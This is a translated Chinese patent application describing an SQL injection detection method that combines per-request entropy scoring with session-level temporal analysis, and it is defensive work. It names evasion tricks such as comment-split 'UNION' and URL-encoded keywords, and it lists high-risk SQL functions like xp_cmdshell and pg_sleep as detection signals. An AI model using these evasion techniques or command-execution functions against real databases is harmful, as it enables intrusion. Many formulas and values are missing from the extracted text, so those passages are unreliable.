A SQL injection detection method and device fusing transient behavior characteristics and long-term evolution characteristics
By integrating multidimensional static entropy analysis and dynamic temporal entropy spectrum analysis into a collaborative detection framework, and combining session-level context modeling, this approach addresses the shortcomings of existing SQL injection detection technologies in complex scenarios. It achieves accurate identification and real-time defense against SQL injection attacks, making it suitable for enterprise-level network applications and cloud-native services.
Patent Information
- Authority / Receiving Office
- CN · China
- Patent Type
- Applications(China)
- Current Assignee / Owner
- HANGZHOU DIANZI UNIV
- Filing Date
- 2026-03-16
- Publication Date
- 2026-06-09
AI Technical Summary
Existing SQL injection detection technologies cannot effectively identify SQL injection attacks in complex scenarios, especially obfuscation and evasion attacks, slow attacks, and advanced blind injection attacks. They also have a high false positive rate and cannot achieve effective defense in black-box deployment scenarios.
By constructing a collaborative detection framework that combines multidimensional static entropy analysis and dynamic temporal entropy spectrum analysis, and integrating session-level context modeling with instantaneous behavioral features and long-term evolutionary features, we can achieve accurate identification and real-time defense against SQL injection attacks, and support black-box deployment.
It significantly improves the ability to identify complex SQL injection attacks, reduces false positive and false negative rates, and is suitable for enterprise-level network applications, cloud-native services, and database access gateways, providing efficient real-time defense and adaptive response.
Smart Images

Figure CN122179185A_ABST
Abstract
Description
Technical Field
[0001] This invention relates to the field of network and computer security, and specifically to a method and apparatus for detecting SQL injection that integrates instantaneous behavioral characteristics and long-term evolutionary characteristics. More specifically, this invention relates to application-layer attack detection and defense technology, particularly suitable for the real-time identification and interception of Structured Query Language (SQL) injection attacks. It can be deployed in enterprise-level network applications, cloud-native services, database access gateways, and other scenarios to protect the backend databases of network applications from security threats such as data leakage, tampering, deletion, and server compromise. Background Technology
[0002] Structured Query Language (SQLi) injection is a high-risk vulnerability in the field of cybersecurity, and has long been listed as one of the Top 10 web application security risks by authoritative organizations such as OWASP (Open Web Application Security Project). Attackers inject malicious SQL code into web application input fields (such as forms, URL parameters, cookies, etc.), causing the backend database to execute unexpected commands. This can lead to the leakage of sensitive user data (such as account passwords and transaction records), damage to the database structure, and even gain control of the server operating system through the database server, causing serious economic losses and reputational damage.
[0003] To combat SQL injection threats, the industry has developed various detection and defense technologies. However, with the continuous evolution of attack methods, existing technologies have significant shortcomings and are unable to meet the security protection needs of complex scenarios. Specific deficiencies are as follows: Signature-based / static rule-based defense technologies have limitations: Traditional Web Application Firewalls (WAFs) and Intrusion Detection Systems (IDS) rely on pre-defined malicious signature libraries, which can only identify known attack patterns. For zero-day attacks (attack methods not publicly disclosed) or variant attacks modified by polymorphic / alterative techniques (such as dynamically generated malicious payloads), signature library updates always lag behind attack evolution, resulting in a large number of malicious requests being misjudged as benign.
[0004] Difficult to counter obfuscation and evasion attack methods: Attackers widely employ techniques such as encoding obfuscation (e.g., URL multi-encoding, Unicode encoding), comment insertion (e.g., / *...* / --), case and whitespace manipulation (e.g., UnIoN SeLeCt), and parameter fragmentation / pollution (split malicious payloads into multiple parameters). While maintaining the semantics on the database side, they make the request appear "benign" at the detection node, easily bypassing pattern matching-based protection systems.
[0005] Unable to identify low-speed attacks spanning multiple requests: Advanced SQLi attacks such as blind SQL injection, time-based blind SQL injection, and out-of-band (OOB) injection are implemented through multiple requests at low rates. Individual requests are highly similar to benign requests in terms of syntax and statistical characteristics. The attack intent (such as character-by-character data enumeration or conditional validation through delays) only becomes apparent when the request sequence is analyzed within the context of session time. Existing stateless detection techniques are completely ineffective against such attacks.
[0006] Existing anomaly detection technologies lack generalization ability and context awareness: While statistical or machine learning-based anomaly detection technologies can compensate for some of the shortcomings of signature technologies, they have significant limitations. Early machine learning methods rely on manual feature engineering, resulting in poor generalization ability to unseen attack scenarios; methods based on single entropy metrics are susceptible to interference from high-entropy benign data (such as compressed files and Base64 encoded content) and struggle to establish robust baselines for normal behavior; most methods still analyze individual requests in isolation, failing to capture collaborative anomalies across requests (such as progressive anomaly evolution of parameter values).
[0007] In summary, existing SQL injection detection technologies suffer from a "semantic gap"—they can only identify anomalies at the syntactic or statistical level, cannot understand the semantic rationality of requests within the session context, and struggle to balance the depth of static analysis with awareness of temporal context.
[0008] To address the aforementioned shortcomings, this invention constructs a collaborative detection framework integrating multidimensional static entropy analysis, dynamic temporal entropy spectrum analysis, and session-level context modeling. The specific differences are as follows: 1. It overcomes the limitations of stateless single-request detection, enabling session-level cross-request correlation analysis; 2. It constructs a multi-dimensional entropy measurement system to enhance resistance to obfuscation attacks; 3. It introduces an adaptive decision engine to reduce false positive and false negative rates; 4. It supports black-box deployment, requiring no reliance on the source code of the protected application.
[0009] Therefore, there is an urgent need for a technical solution that combines single-request deep semantic analysis with session-level cross-request correlation detection capabilities to effectively address obfuscated payloads, slow-moving attacks, and advanced SQL injection threats such as blind injection. Summary of the Invention
[0010] To address the shortcomings of existing technologies, this invention provides an SQL injection detection method and apparatus that integrates instantaneous behavioral characteristics and long-term evolutionary characteristics. By using session-level context modeling and combining static entropy real-time detection with dynamic temporal entropy spectrum analysis, it achieves accurate identification and real-time defense against complex SQL injection attacks. Furthermore, it supports black-box deployment scenarios and does not rely on the source code or internal implementation details of the protected application. This solves the technical problems of existing SQL injection detection technologies, such as poor resistance to evasion, inability to identify slow, low-speed attacks across requests, and high false positive rates.
[0011] This invention is implemented as follows: Firstly, this invention provides an SQL injection detection method that integrates instantaneous behavioral features and long-term evolutionary features, the method comprising the following steps: Step 1: Capture all user requests flowing to the protected network application and synchronously record request metadata; Step 2: Perform end-to-end normalization processing on the captured plaintext requests; Step 3: Adopt a multi-dimensional session identification strategy to classify the requests after data normalization into the corresponding user sessions, and build a dynamic context model for each session; Step 4: Extract multi-dimensional feature vectors for each normalized request; wherein the multi-dimensional feature vectors include lexical features, structural statistical features, and semantic context features; Step 5: Calculate the static entropy vector based on the multi-dimensional feature vector, and then obtain the static anomaly score; Step 6: Set an instant detection threshold. If the static anomaly score is greater than or equal to the instant detection threshold, it is determined to be a high-risk instant attack, triggering an instant response and recording an alarm; otherwise, the static entropy vector is appended to the temporal entropy spectrum sequence of the corresponding session, and step 7 is executed. Step 7: Perform multi-scale time series analysis on the time entropy spectrum sequence using a sliding window mechanism to calculate time anomaly scores; the multi-scale time series analysis includes short-term oscillation detection, medium-term trend displacement detection, and long-term periodicity detection; Step 8: Use the dynamic context model to perform a semantic consistency check on the current request to further verify its legality. If semantic inconsistency or an invalid transfer path is found, increase the time anomaly score to correct it. Step 9: Combine the static anomaly score and the corrected time anomaly score with the context factor, and calculate the session risk score using a weighted linear fusion function; if the session risk score is greater than or equal to the adaptive session threshold, it is determined to be a session-level malicious attack and a graded response is triggered; otherwise, it is determined to be a benign request and is allowed to be forwarded to the backend application.
[0012] Preferably, the request metadata includes one or more of the following: request timestamp, source IP address, source port, destination URL, destination port, TLS session version and cipher suite, request method, cookie information, and User-Agent string.
[0013] Preferably, the multi-dimensional session identification strategy is as follows: first, determine whether the request contains an explicit session identifier; if so, associate it with the corresponding session; otherwise, create a temporary session based on "source IP, UA fingerprint, and destination domain name".
[0014] Preferably, the static entropy vector includes character-level Shannon entropy, lexical-level entropy, local sliding window entropy change within a field, and cross-parameter entropy difference.
[0015] Preferably, the dynamic context model includes basic information, request sequence, parameter profile, navigation state machine, and historical entropy baseline.
[0016] Preferably, the adaptive session threshold is dynamically adjusted based on the intra-session parameter variance, endpoint type, and historical false alarm rate.
[0017] Preferably, the short-term oscillation detection is performed by: calculating the coefficient of variation of the lexical entropy sequence within the sliding window, determining the short-term anomaly score based on the comparison result of the coefficient of variation and the preset threshold, combined with the trend of the local sliding window entropy change within the field within the sliding window, and then performing medium-term trend displacement detection. The intermediate trend displacement detection is as follows: the weighted slope of the character-level Shannon entropy sequence within the sliding window is calculated using exponentially weighted linear regression, the baseline displacement is calculated, the intermediate anomaly score is determined based on the positive and negative directions of the weighted slope and the comparison results between the baseline displacement and the preset threshold, and then long-term periodic detection is performed. The long-term periodic detection is performed by performing a discrete Fourier transform on the static abnormal sequence within the sliding window, calculating the energy proportion of the dominant frequency component, and determining the long-term abnormal score based on the comparison result of the energy proportion of the dominant frequency component with the threshold.
[0018] Preferably, the context factor is a weighted sum of scores from different dimensions, including endpoint trust level, source IP reputation, and historical false alarm rate.
[0019] Preferably, it further includes: After executing step 9, different levels of response are executed according to the session risk score. For the reviewed benign requests, online learning is performed to update the dynamic context model.
[0020] Secondly, the present invention provides an SQL injection detection device for implementing the method, comprising: The request capture module is responsible for capturing user requests and recording request metadata, and outputting the request content and metadata. The data normalization module is responsible for performing end-to-end normalization processing on plaintext requests and outputting normalized requests and copies of the original requests. The Session Association and Context Modeling module is responsible for classifying normalized requests into user sessions, building and updating dynamic context models, and outputting request and model data associated with session identifiers. The multidimensional feature extraction module is responsible for extracting multidimensional feature vectors from the normalized request and outputting the feature vectors. The static entropy analysis module is responsible for calculating the static entropy vector and static anomaly score based on multi-dimensional feature vectors. The real-time threshold determination module is responsible for comparing the static anomaly score with the real-time detection threshold to identify whether it is a high-risk real-time attack. The temporal entropy spectrum generation and multi-scale analysis module is responsible for performing multi-scale analysis on the temporal entropy spectrum sequence and calculating temporal anomalies. The semantic consistency and state verification module is responsible for performing semantic consistency checks and correcting time anomalies. The integrated scoring and adaptive decision-making module is responsible for calculating the session risk score, comparing it with the adaptive session threshold, and outputting the attack judgment result.
[0021] Thirdly, the present invention provides an electronic device including a processor and a memory. The memory stores machine-executable instructions that can be executed by the processor. The memory also stores a session context database, an entropy baseline database, and an attack feature database to provide data support for the execution of the detection method. The processor executes the machine-executable instructions to implement the SQL injection detection method that integrates instantaneous behavioral features and long-term evolutionary features as described above.
[0022] Fourthly, the present invention provides a machine-readable storage medium storing machine-executable instructions. When these machine-executable instructions are invoked and executed by a processor, they cause the processor to implement the SQL injection detection method described above, which integrates transient behavioral characteristics and long-term evolutionary characteristics.
[0023] The core innovation of this invention lies in the first-ever deep integration of multidimensional static entropy analysis and dynamic temporal entropy spectrum analysis, constructing a multi-layered, spatiotemporal collaborative detection framework that balances instantaneous behavior characterization with long-term evolutionary perception. This fundamentally breaks through the capability bottleneck of traditional single-request, stateless detection methods in complex attack scenarios, specifically manifested in: Multidimensional static entropy analysis mechanism (real-time detection layer): For each independent request, a fine-grained, multi-perspective entropy measurement system is constructed, including character-level entropy, lexical-level entropy, local sliding window entropy changes within fields, and cross-parameter entropy difference. It can characterize the structural complexity, information distribution characteristics, and abnormal disturbances of the request content at a high resolution. It can effectively identify malicious payloads that have been encoded, obfuscated, spliced, or structurally deformed at the single request level, and does not depend on specific attack syntax or known patterns. It has stronger generalization ability and anti-evasion ability against unknown variant attacks.
[0024] Dynamic temporal entropy spectrum analysis mechanism (session-level tracking layer): At the session scale, the multidimensional entropy measurement of continuous requests within the same session is organized into a time series to form a "temporal entropy spectrum". By analyzing the trend changes, fluctuation patterns and cross-request correlations of the temporal entropy spectrum, low-frequency, segmented, coordinated or progressive attack behaviors can be effectively identified, significantly enhancing the ability to perceive slow and covert attack patterns.
[0025] Dual detection mechanism and adaptive decision engine: The static entropy signal (instant features) and the temporal entropy spectrum signal (long-term behavioral features) are fused in parallel to build a dual detection mechanism that works in collaboration with "instant warning + session tracking". At the same time, an adaptive decision engine is introduced to dynamically adjust the detection threshold, alarm level and response strategy according to the differences, consistency and evolution trend between static and dynamic signals. This effectively avoids the problem of false alarms or false negatives that are easy to occur in complex business scenarios by a single threshold strategy. While significantly improving the detection accuracy, it minimizes the interference with normal business requests.
[0026] Architecture adaptability for black-box deployment: The architecture does not depend on the source code, database structure or internal logic implementation of the protected application. It can be directly deployed in cloud-native environments, microservice architectures and SaaS scenarios, and can be seamlessly integrated into existing security infrastructure, such as reverse proxies, API gateways, log collection and auditing systems, with good engineering implementation and scalability. Attached Figure Description
[0027] To more clearly illustrate the technical solution of the present invention, the drawings used in the embodiments will be briefly introduced below. Obviously, the drawings described below are only some embodiments of the present invention. For those skilled in the art, other drawings can be obtained based on these drawings without creative effort.
[0028] Figure 1 is a flowchart of the overall process of an SQL injection detection method that integrates instantaneous behavioral features and long-term evolutionary features according to an embodiment of the present invention.
[0029] Figure 2 is an overall architecture diagram of the SQL injection detection system provided in an embodiment of the present invention. Detailed Implementation
[0030] The technical solutions of the embodiments of the present invention will be clearly and completely described below with reference to the accompanying drawings. Obviously, the described embodiments are only some embodiments of the present invention, and not all embodiments. All other embodiments obtained by those skilled in the art based on the embodiments of the present invention without creative effort are within the scope of protection of the present invention.
[0031] Before proceeding with the detailed description, it should be understood that the present invention is not limited to the details of the specific embodiments described below, as these details are merely illustrative. The present invention can have other embodiments and can be practiced or implemented in various ways.
[0032] Terminology Explanation The core terms involved in this invention are defined as follows: Lexical entropy ( ): The entropy value calculated based on the distribution of SQL lexical units reflects the SQL semantic complexity of the parameter value; Cross-parameter entropy difference ( The deviation rate between the entropy value and the mean of each parameter in the same request is denoted as param_diff_score. After standardization, z(param_diff_score) is obtained, and the maximum value among the parameters is denoted as z(param_diff_score). ; Standardized deviation The actual value of the entropy metric is converted into a calculated value of a dimensionless deviation metric. The calculation formula is as follows: ; coefficient of variation : An indicator used to measure the degree of fluctuation in lexical-level entropy sequences, calculated using the following formula. , This is the stabilization constant.
[0033] This embodiment provides a method for detecting SQL injection that integrates instantaneous behavioral features and long-term evolutionary features. See Appendix. Figure 1 The method demonstrates 11 core steps from request capture to tiered response, with a logical relationship combining serial and parallel processing: Steps 1-6 form an instantaneous detection chain, enabling static entropy analysis of a single request and immediate high-risk attack detection; Steps 7-9 form a session-level detection chain, enabling temporal entropy spectrum analysis across requests and session-level malicious attack detection; Steps 10-11 form a closed-loop optimization chain, enabling tiered response, online learning, and baseline updates to ensure the adaptability of the detection method. The input / output data for each step are clearly defined, logically connected, and without redundant steps, ensuring efficient execution of the detection method. Specifically, the method includes the following steps: Step 1: Request Capture Capture all user requests (HTTP / HTTPS requests) flowing to the protected network application and synchronously record request metadata. Request metadata is stored in association with the request content and is synchronously passed to subsequent steps along with the request.
[0034] The request metadata includes, but is not limited to, request timestamp, source IP address, source port, destination URL, destination port, Transport Layer Security (TLS) session version / cipher suite, request method (GET / POST / PUT, etc.), cookie information, and User-Agent (UA) string.
[0035] Determine whether the requested metadata is encrypted. If so, use any deployment mode to process it, obtain the plaintext request, and then execute step 2. If it is a plaintext request, execute step 2 directly.
[0036] The deployment mode can be either Inline mode or Bypass mode.
[0037] Inline mode: The TLS connection is terminated at the detection node, the plaintext request is decrypted, and then re-encrypted and forwarded to the backend application; Bypass mode: Obtain a decrypted plaintext request copy by mirroring traffic or in conjunction with network devices (such as load balancers), without affecting normal traffic forwarding.
[0038] This invention requests interception that does not depend on the source code logic of the protected application, does not modify the source code or configuration of the protected application, does not rely on database credentials and internal interfaces, and the detection basis comes only from external acquisition and normalization processing of network layer requests.
[0039] Step 2: Data Normalization The captured plaintext requests undergo end-to-end normalization (default includes `URL Query`, `application / x-www-form-urlencoded`, `application / json`, and `Cookie key-value`; optional options include `Path segment`, `Header whitelist fields`, and `multipart`) to eliminate the possibility of attackers evading detection through obfuscation techniques. This end-to-end normalization process includes recursive decoding, case unification, whitespace normalization, SQL comment removal, and special character standardization. The decoding level is recorded, and a multi-encoding warning flag is set when the decoding level is ≥2.
[0040] Specifically, the processing procedure includes: (1) Recursive decoding of encoding: Recursively decode URL encoding (%XX format), Unicode encoding (\uXXXX format), HTML entity encoding (& format), etc., until no encoding level remains; (2) Case uniformity: Convert request parameter values and SQL keywords (such as SELECT, UNION) to lowercase (or uppercase) to eliminate the impact of case confusion; (3) Whitespace character normalization: Replace consecutive spaces, tabs (\t), newlines (\n), carriage returns (\r) and other whitespace characters with a single space to preserve the structural integrity of the parameter value; (4) SQL comment removal: Remove SQL multi-line comments ( / *...* / ), single-line comments (--, #), etc., and retain the SQL keywords or operators wrapped in the comments (such as "UNI / ** / ON" after removing the comments and restoring it to "UNION"), thus eliminating the impact of comment insertion confusion; (5) Special character standardization: Convert special characters in hexadecimal (0xXX), octal (\XXX) and other formats into ASCII characters (e.g., convert 0x3a into a colon ":").
[0041] (6) Multiple encoding warning mark: Record the decoding level L during the recursive decoding process. When L≥2, set the "multiple encoding" warning mark and retain the mark in the normalized result for subsequent feature extraction and context factor evaluation.
[0042] After normalization, a copy of the original request is retained for auditing and manual review, while the normalization result is used for subsequent feature extraction and entropy analysis. This process ensures that variants like u%6eion and UNION are treated equally in subsequent analyses, thus thwarting the obfuscation techniques described in the background section.
[0043] Step 3: Session Association and Context Modeling A multi-dimensional session identification strategy is adopted to classify the requests after data normalization in step 2 into the corresponding user sessions, and a dynamic context model is constructed for each session. The elements of the dynamic context model are updated in real time as session requests increase, providing basic data support for subsequent feature extraction, entropy analysis, and semantic consistency checks.
[0044] The multi-dimensional session identification strategy first determines whether the request after data normalization in step 2 contains an explicit session identifier (such as SESSION_ID in a cookie, JWT token, or session parameters in a URL). If it does, the request is associated with the corresponding session. If not, a temporary session is created based on the combination of the request's "source IP, UA fingerprint, and destination domain name," and subsequent requests attempt to associate with this temporary session. The temporary session has a configurable timeout (default 30 minutes). After the timeout, the session context is automatically reclaimed, and unassociated requests recreate temporary sessions.
[0045] The dynamic context model includes basic information, request sequence, parameter profile, navigation state machine, and historical entropy baseline (including mean). with standard deviation );in: (1) Basic information: including unique session ID, session creation time, last active time, source IP, and UA fingerprint; (2) Request sequence: A list of requests sorted by time, containing the normalized parameters, destination endpoint (URL path), and response status code for each request; (3) Parameter profile: includes all parameters that appear in the session (such as query, order_id, email), including parameter name, inferred data type (such as integer, string, date), typical length range, value distribution characteristics (such as common values, dispersion, quantiles); (4) Navigation state machine: Records the user's navigation path between application endpoints (such as homepage → product list → search → order submission), and establishes legal transfer rules between endpoints; (5) Historical entropy baseline: The distribution of historical entropy values (character level and lexical level) of each parameter in the session is statistically analyzed, including indicators such as mean, variance, and 95th percentile, which serve as the benchmark for anomaly judgment.
[0046] Step 4: Multidimensional Feature Extraction For each request after normalization in step 2, extract a multi-dimensional feature vector. The multi-dimensional feature vectors mentioned above Including lexical features, structural statistical features, and semantic context features; (1) Lexical features: Perform SQL lexical tokenization on the request parameter values to identify SQL keywords (SELECT, UNION, INSERT, FROM, WHERE), operators (=, >, <, AND, OR, NOT), functions (pg_sleep, LOAD_FILE, CONCAT), symbols (', ",;, (,), ,) and literals (such as numbers and ordinary strings); count the number and proportion of each type of lexical unit (such as the number of times SQL keywords appear and the proportion of functions).
[0047] (2) Structural statistical features include: character type statistics, namely the number and proportion of letters, numbers and special symbols in the parameter values; length features, namely the total length of the parameter values and the length proportion of each character type; special character frequency, namely the frequency and position distribution of key special characters (', ", ;, --, / *).
[0048] (3) Semantic context features: Parameter historical distribution matching degree, that is, the similarity between the current parameter value and the historical value of the parameter in the session (such as string edit distance, numerical deviation rate); Endpoint label: used to characterize the risk attributes of the target endpoint of the request; preferably, it includes endpoint whitelist label and / or endpoint trust level label; wherein, the endpoint whitelist label is used to determine whether the target endpoint of the request belongs to the preset low-risk endpoint set (such as static resource path / css, / js, etc.), and the endpoint trust level label is used to characterize the business sensitivity or risk level of the endpoint (such as low risk / medium risk / high risk), and is used for subsequent risk assessment and decision-making. Permission matching degree, based on the source IP reputation database and user login status, to determine whether the current request exceeds the user's permission scope (such as a normal user accessing the administrator endpoint / admin).
[0049] Step 5: Static Entropy Analysis (Real-time Detection): Calculate the static entropy vector based on multi-dimensional feature vectors, and then use a weighted normalization method to obtain the static anomaly score. The static entropy vector includes character-level Shannon entropy, lexical-level entropy, intra-field local sliding window entropy change, and cross-parameter entropy difference. Weighted normalization is calculated based on the standardized deviation of each entropy metric and a preset weight. The aforementioned character-level Shannon entropy, lexical-level entropy, intra-field local sliding window entropy change, and cross-parameter entropy difference are independent and complementary features.
[0050] Specifically, based on the multi-dimensional feature vector extracted in step 4 Calculate the static entropy vector Static anomaly analysis is calculated using a weighted normalization method based on the static entropy vector. (Full marks 100 points) The weighted normalization method is calculated based on the standardized deviation of each entropy metric and the preset weight. The standardized deviation is obtained based on the session history entropy baseline or the global baseline. If there is no session history entropy baseline, the mean and standard deviation of the global baseline are used.
[0051] The global baseline is a globally statistical database that is persistently maintained across sessions. It records the mean and standard deviation of all confirmed benign requests on various entropy metrics, as well as the distribution of static outlier scores. The global baseline is initialized and built through learning mode during system deployment and is continuously updated through online learning during operation.
[0052] For example, the weighted normalization method involves two steps in its calculation process: The first step is to calculate the weighted deviation of the raw score. :
[0053] in, This represents the standardized deviation based on the session history entropy baseline or global baseline, converting the entropy value into a dimensionless deviation metric. The calculation formula is: , This is the actual value of the entropy metric. The historical entropy baseline mean. The standard deviation of the historical entropy baseline is used; if there is no historical baseline, the mean and standard deviation of the global baseline are used. The weights for each entropy metric can be determined through offline training (such as logistic regression or random forest) or configuration by a security expert. In this embodiment... The second step is to... By mapping to the 0-100 score range using a normalization function, static anomaly scores are obtained. :
[0054] in The slope adjustment parameter (in this embodiment) ), controlling the steepness of the scoring curve; Center offset parameter (in this embodiment) ),express When this value is reached This mapping ensures that: when... When (i.e., all entropy indicators have not deviated from the baseline). Approaching 0 points; when Significant deviation from baseline (e.g.) )hour, Approaching 100 points.
[0055] The static entropy vector This includes character-level Shannon entropy, lexical-level entropy, intra-field local sliding window entropy change, and cross-parameter entropy difference, specifically: (1) Character-level Shannon entropy ( ): Calculated based on the byte distribution of parameter values, the formula is as follows ,in For bytes The probability of it appearing in the parameter value. High The value indicates that the character distribution of the parameter value is random and may originate from obfuscation or malicious payload. (2) Lexical entropy ( This is a calculation based on the distribution of SQL lexical units (keywords, operators, functions, symbols, literals), reflecting the SQL semantic complexity of parameter values. If a parameter should be a simple literal (such as an order number), but a large number of SQL lexical units appear, The value will increase significantly, the aforementioned The calculation is based on the frequency distribution of token categories (keywords, operators, functions, symbols, literals, etc.), rather than on the distribution of specific token values; (3) Local sliding window entropy change within the field (peak_score): A fixed-size sliding window (window length) is used. Byte, step size 1) Traverse the parameter values, calculate the character-level entropy of each window, and take the maximum absolute value of the difference between the window entropy and the global character-level entropy; if the parameter value length is less than ,but Malicious payloads often manifest as "benign prefix + malicious suffix" (such as "shoes' UNION SELECT"), which can cause a sudden increase in local window entropy and a corresponding increase in peak_score. (4) Cross-parameter entropy difference ( ): Calculate the mean character-level entropy of all parameters in the same request, then calculate the absolute deviation of the current parameter's entropy value from the mean, divide by the mean to obtain the deviation rate (denoted as param_diff_score), and standardize the deviation rates of each parameter to obtain the standardized deviation. And select the maximum value among them. Used for static anomaly calculation. Attack payloads typically inject only a single parameter, causing that parameter's entropy value to deviate significantly from other parameters. The value increased.
[0056] Step 6: Real-time threshold determination The instantaneous detection threshold is set based on the quantiles of the static anomaly distribution in the global baseline or empirical values. (This embodiment is based on the 99.5th percentile of the static anomaly distribution in the global baseline. A default score of 80 is used when there are fewer than 100 historical benign samples, with a maximum score of 100.) Regarding the static anomaly distribution... Make a judgment: (1) If If the attack is detected, it is considered a high-risk, immediate attack, triggering an immediate response (such as blocking the request or initiating secondary verification), and simultaneously recording the attack event (including the original request, the normalized request, and the static entropy vector). (Value) and generate an alarm; (2) If If it is determined to be a non-high-risk immediate attack, the current static entropy vector will be... Append it to the temporal entropy spectrum sequence of the corresponding session, and then proceed to step 7.
[0057] Step 7: Temporal entropy spectrum generation and multi-scale analysis (session-level tracking) A sliding window mechanism is used to perform multi-scale time series analysis on the temporal entropy spectrum sequence of each session to identify anomalous patterns across requests. The sliding window size is configurable based on the number of requests or the duration, with a default configuration of 50 requests or 30 minutes. A time anomaly score is obtained by weighted summation of the anomaly scores from the multi-scale analysis results. The multi-scale time series analysis specifically includes three steps: short-term oscillation detection, medium-term trend displacement detection, and long-term periodicity detection. S7.1 Short-term oscillation detection Utilizing the "historical entropy baseline" in the conversational dynamic context model, lexical entropy within the sliding window is analyzed synchronously. The fluctuation of the peak score and the local sliding window entropy change within the field. Lexical entropy sequence of a request Perform statistical modeling to calculate the mean of the sequence. with standard deviation :
[0058]
[0059] Calculate the coefficient of variation of the sequence ,in Stabilization constant (e.g.) ); if the coefficient of variation Exceeding the preset threshold indicates that the lexical entropy oscillates frequently within a short period of time. Examine the trend of peak_score within the sliding window. If the peak_score sequence satisfies any of the following conditions: Last in the sliding window The peak_score value of each request is monotonically non-decreasing (i.e., each value is greater than or equal to the previous value). After the window The average peak_score of each request is higher than the previous one. The average peak_score of each request; If it is determined to be a short-term anomaly, the short-term oscillation anomaly score is determined accordingly using a preset hierarchical mapping score or a continuous excitation function. If the coefficient of variation does not exceed the preset threshold, or if it exceeds the threshold but the peak_score does not show an increasing trend, then the short-term behavior is deemed compliant, and a score is awarded. The score is 0. Regardless of the judgment result, the intermediate trend / displacement detection step is performed, and the short-term oscillation anomaly score is determined based on the short-term oscillation detection result. After the judgment is completed, step S7.2 is executed.
[0060] S7.2 Mid-term trend displacement detection Analyze the character-level Shannon entropy within the sliding window ( The overall trend of change and its deviation from the historical entropy baseline were analyzed using an exponentially weighted linear regression method to calculate the weighted slope and weighting coefficients. Default value , The larger the value, the higher the weight of recent samples. Simultaneously, the baseline displacement is calculated. If the fitting slope is positive and the baseline displacement exceeds a preset threshold, it is judged as an abnormal mid-term baseline drift; otherwise, the mid-term behavior is judged as compliant. Regardless of the judgment result, a long-term periodic detection step is performed, and a mid-term trend anomaly score is determined based on the mid-term trend displacement detection results. A specific example is as follows: (1) Linear trend fitting: The character-level entropy within the sliding window is fitted using the linear regression method. The changing trend, let the sequence be... ,in For the first This request value, The sequence index value within the window for this request ( ), calculate the slope of the fitted line ; (2) Exponentially weighted linear regression: In order to enhance the sensitivity of capturing recent outliers, the exponentially weighted linear regression method is used to calculate the weighted slope. The weight , The default value is 0.1-0.2. The larger the value, the higher the weight of recent samples; (3) Baseline displacement calculation: Calculate the baseline displacement. ,in The character-level entropy of the latest request within the sliding window; (4) Anomaly detection and scoring: If the fitting slope ( or ) is positive. If the deviation exceeds a preset threshold, it is determined to be an abnormal mid-term baseline drift; the system determines the mid-term trend anomaly score based on the degree of deviation using a preset hierarchical mapping score or a continuous activation function. Conversely, if the behavior is deemed compliant during the interim period, a score will be awarded. The score is 0; after the judgment is completed, proceed to step S7.3.
[0061] S7.3 Long-term periodic testing The discrete Fourier transform is performed on the static anomaly sequence within the sliding window to calculate the spectrum, extract the energy of each frequency component and the total energy, and calculate the energy proportion of the dominant frequency component. If the energy proportion of the dominant frequency component exceeds a preset threshold, it is judged as a long-term periodic anomaly; otherwise, the long-term behavior is judged as compliant. The long-term periodic anomaly score is determined based on the long-term periodic detection results. A specific example is as follows: Static anomaly sequence within the sliding window Perform Discrete Fourier Transform (DFT) to calculate the spectrum. Extracting the energy of each frequency component and total energy Calculate the energy percentage of the main frequency component. ;like Exceeding the preset threshold (default =0.5 (which can be dynamically adjusted based on the normal traffic spectrum energy distribution from offline training), is determined as a long-term periodic anomaly, and the long-term periodic anomaly score is determined based on the periodic intensity. Conversely, if the behavior is deemed compliant in the long term, a score will be awarded. The score is 0; after the judgment is completed, proceed to step S7.4.
[0062] S7.4 Time Anomaly Division calculate The time anomaly score is obtained by weighted summation of anomaly scores based on short-term oscillation detection, medium-term trend displacement detection, and long-term periodic detection. (Total score: 100 points) The calculation formula is as follows:
[0063] in Full marks: 40 points 35 points in total The maximum score is 25 points. Each score can be a discrete weighted score determined based on the judgment result, or a continuous function score positively correlated with the corresponding indicator. For example, significant short-term oscillations score 40 points, medium-term trend shifts score 35 points, and long-term periodicity score 0 points. point.
[0064] Step 8: Semantic Consistency and State Verification Using a dynamic context model, the current request undergoes a semantic consistency check. The request's legitimacy is further verified based on parameter evolution feature consistency and endpoint legal transition rules of the navigation state machine. If semantic inconsistencies or invalid transition paths are found, the time anomaly score is increased as follows: data type mutation +10 points, length exceeding historical range +10 points, hitting high-risk SQL functions (such as xp_cmdshell, pg_sleep) +10 points, illegal state transition +10 points. Each item is judged independently and accumulated, with a total correction capped at 30 points. After correction... This will enhance the accuracy of subsequent risk assessments.
[0065] For example, the semantic consistency check specifically includes parameter evolution tracking and state transition verification: (1) Parameter evolution tracking: Compare the parameter value of the current request with the historical characteristics of the parameter in the session. If the data type, length, and value distribution are inconsistent, it is marked as semantic inconsistency. The manifestations of semantic inconsistency include: data type mutation (such as the order_id parameter with a historical value of integer suddenly appearing as a string and SQL keyword), length exceeding the historical range by more than 2 times (such as the historical order_id length being 3-8 digits, and the current length being 50 digits), and value distribution deviating from historical characteristics (such as the historical email parameter containing the "@" symbol, and the current parameter not containing "@" and containing SQL functions).
[0066] (2) State transition verification: Based on the navigation state machine, determine whether the destination endpoint of the current request is a valid transition path. For example, if a user does not visit the "product details page" and directly requests the "order submission endpoint", or if a regular user requests the "administrator data export endpoint", both are marked as state transition anomalies.
[0067] Step 9: Fusion scoring and adaptive decision engine: Combine static anomaly score and corrected time anomaly score with context factors to calculate session risk score through fusion function; if session risk score is greater than or equal to adaptive session threshold, it is judged as session-level malicious attack and triggers graded response; otherwise, it is judged as benign request and allowed to be forwarded to backend application.
[0068] For example, specifically including: S9.1 Session Risk Score Calculation Static anomalies are divided Corrected time anomaly By combining contextual factors (such as endpoint trust level, source IP reputation, and historical false alarm rate), a session risk score is calculated using a fusion function. The formula is:
[0069] in, , , for , , Weights (default) ,in The combined weight of static and dynamic anomalies. ⋅ (Add context-sensitive corrections, which can be adjusted through offline training). Contextual factors. Session risk score. The value range is 0-100 points. If the calculation result exceeds this range, it will be truncated to 100 points.
[0070] The context factors The score should include at least endpoint trust level, source IP reputation, and historical false positive rate. It is a weighted sum of scores from each dimension, with a total score ranging from 0 to 20. The specific scoring rules are as follows: endpoint trust level (whitelist 0 points / low risk 2 points / medium risk 5 points / high risk 10 points), source IP reputation (high reputation 0 points / suspicious 5 points / blacklist 15 points), historical false positive rate (<5% 0 points / ≥5% 3 points), and a context factor. The total score is capped at 20 points. The specific scoring rules are as follows:
